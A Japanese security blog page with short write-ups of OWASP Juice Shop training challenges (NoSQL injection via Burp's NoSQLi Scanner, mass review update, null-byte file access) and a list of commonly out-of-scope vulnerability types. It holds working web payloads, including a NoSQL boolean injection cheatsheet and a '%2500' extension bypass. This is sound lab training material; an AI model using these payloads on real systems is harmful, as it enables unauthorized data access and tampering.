Shikata Ga Nai

Private? There is no such things.

Burp SuiteでNoSQLi Scannerをためしてみた

Hello there, ('ω')ノ

 

これまでNoSQLについてやってきてなかったようで。

今回は、Burpの拡張機能を試してみることに。

まずはインストールして。

 

f:id:ThisIsOne:20210716104110p:plain

 

レビューを書いて。

 

f:id:ThisIsOne:20210716110918p:plain

 

リクエストからディレクトリを確認して。

 

f:id:ThisIsOne:20210716111113p:plain

 

productsディレクトリに絞ってスキャンすることに。

 

f:id:ThisIsOne:20210716111008p:plain

 

結果、検出されたもののTentativeとあって暫定のようで。

Noteには、NoSQLi Scannerの表示があって機能しているようで。

 

f:id:ThisIsOne:20210716111330p:plain

 

リクエスト内容を確認して。

 

f:id:ThisIsOne:20210716111506p:plain

 

リピータで確認するとレスポンスに遅延が生じるので脆弱性ありと判断して。

 GET /rest/products/sleep(1000)/reviews

 

f:id:ThisIsOne:20210716111618p:plain

 

他には、すべての製品を表示させるには、下記のようなペイロードもあって。

 GET /rest/products/1||true/reviews

 

f:id:ThisIsOne:20210716111659p:plain

 

アクティブスキャンのためか、システムが動かなくなってしまった。

 

f:id:ThisIsOne:20210716110115p:plain

 

Best regards, (^^ゞ

Juice ShopのNoSQL Manipulationをやってみた

Hello there, ('ω')ノ

 

複数の製品レビューを同時に更新しなさいと。

 

f:id:ThisIsOne:20210715150443p:plain

 

まずは、レビューを書いて動作確認を。

 

f:id:ThisIsOne:20210715150537p:plain

 

パラメータのあるリクエストをリピータへ。

 

f:id:ThisIsOne:20210715150630p:plain

 

PUTメソッドは、POSTと違ってリソース名を指定して。

作成もしくは更新をかけるメソッドで。

メッセージを変更して、Sendすると。

 

f:id:ThisIsOne:20210715150720p:plain

 

正常に追加されていて。

 

f:id:ThisIsOne:20210715150757p:plain

 

メソッドをGETに変更してSendしてみると。

productが1の情報がすべて取得できて。

 GET /rest/products/1/reviews

 

f:id:ThisIsOne:20210715173320p:plain

 

すべてのproductということで、番号を削除してSendしてみるとうまくいかず。

 GET /rest/products/reviews

 

f:id:ThisIsOne:20210715173239p:plain

 

番号の代わりに*でも。

 GET /rest/products/*/reviews

 

f:id:ThisIsOne:20210715173637p:plain

 

次に負の数字だと。

 GET /rest/products/-1/reviews

 

f:id:ThisIsOne:20210715173835p:plain

 

URLのパラメータに番号があると製品を指定することになるので削除して。

リソースを部分(メッセージのみ)更新したいのでPATCHメソッドに変更して。

 PATCH /rest/products/reviews

 

すべてのidを対象としたいので、ありえないidを指定してインジェクションを。

 {

  "id":{"$ne":-1},

  "message":"rev plus plus plus"

 }

 

ちなみにBoolean Injection Cheatsheetは、下記のとおりで。

 {"$ne": -1}
 {"$in": []}
 {"$and": [ {"id": 5}, {"id": 6} ]}
 {"$where": "return true"}
 {"$or": [{},{"foo":"1"}]}
 site.com/page?query=term || '1'=='1
 site.com/page?user[$ne]=nobody
 site.com/page?user=;return true

 

f:id:ThisIsOne:20210715153051p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210715153006p:plain

 

念のため確認を。

 

f:id:ThisIsOne:20210715153821p:plain

 

Best regards, (^^ゞ

診断対象外の脆弱性についてかいてみた

Hello there, ('ω')ノ

 

脆弱性診断ともなると以外と経費がかかるもので。

ただ、依頼はしたものの報告される脆弱性が軽微なものが多かったりと。

真面目にすべてを改修しようとすると時間も経費もかかったり。

診断企業に依頼する際には、対象外の脆弱性を示すことひとつの策だったり。

たとえば、報告するのに十分なほど重大でない脆弱性を対象外としたり。

 

対象外の脆弱性(例)

・プログラムが所有/運営していないコンテンツ/サービスのバグ

・サポートされていないブラウザのユーザに影響を与える脆弱性

・範囲外のドメインのサブドメインの乗っ取り

・ありえない量のユーザインタラクションを必要とするSelf-XSS、またはXSSバグ

・匿名ユーザが利用できるフォームのCSRF

・静的ページでのユーザーインターフェイスのクリックジャッキング

・エラーメッセージ

・HTTP404コード/ページ、またはその他のHTTP非200コード/ページ

・フィンガープリントバナーの開示、公開情報の開示

・既知の公開ファイルまたはディレクトリの開示

・スクリプト、またはその他の自動化と意図された機能のブルートフォーシング

・「オートコンプリート」または「パスワードの保存」機能の存在

・安全なHttpOnlyCookieフラグの欠如

・HTTPS混合コンテンツ

・HTTPセキュリティヘッダーがありません

  Strict-Transport-Security

  X-Frame-Options

  X-XSS-Protection

  X-Content-Type-Options

  Content-Security-Policy

 

Best regards, (^^ゞ

Juice ShopのLeaked Unsafe Productをやってみた

Hello there, ('ω')ノ

 

ショップから削除された安全でない製品を特定して。

どの成分が危険であるかをショップに知らせなさいと。

 

f:id:ThisIsOne:20210714105554p:plain

 

まずは、製品を表示させて。

 

f:id:ThisIsOne:20210714171307p:plain

 

リクエストをリピータへ。

 

f:id:ThisIsOne:20210714105630p:plain

 

SQLインジェクションで、製品情報を表示させて。

ここまでが脆弱性診断の範囲で。

 

f:id:ThisIsOne:20210714105909p:plain

 

ここからは、ペネトレーションの領域で。

下記のようなワードで検索をして情報収集を。

 Cherymoya Annona cherimola Jabuticaba Myrciaria cauliflora Bael Aegle marmelos ingredients dangerous

 

f:id:ThisIsOne:20210714113204p:plain

 

下記のサイトには、ヒントになりそうな情報が。

 https://pastebin.com/90dUgd7s

 

f:id:ThisIsOne:20210714114716p:plain

 

問題のリンクで、下記の成分について報告すると。

 Eurogium Edule and Hueteroneel and Akebia Quinata

 

f:id:ThisIsOne:20210714114917p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210714114742p:plain


Best regards, (^^ゞ

Juice ShopのForgotten Sales Backupをやってみた

Hello there, ('ω')ノ

 

セールスマンの忘れたバックアップファイルにアクセスしなさいと。

なんだか同じような問題が多いような。

 

f:id:ThisIsOne:20210713182005p:plain

 

いつものディレクトリにアクセスして。

 http://localhost:3000/ftp

 

f:id:ThisIsOne:20210713182333p:plain

 

その中から下記のファイルを選んで。

 http://localhost:3000/ftp/coupons_2013.md.bak

 

f:id:ThisIsOne:20210713182259p:plain

 

いつものようにヌルバイトを追加して拡張子を追加して開くことに。

 http://localhost:3000/ftp/coupons_2013.md.bak%2500.md

 

f:id:ThisIsOne:20210713182443p:plain

 

このファイルでよいのかわかりませんが。

 

f:id:ThisIsOne:20210713182554p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210713182617p:plain

 

Best regards, (^^ゞ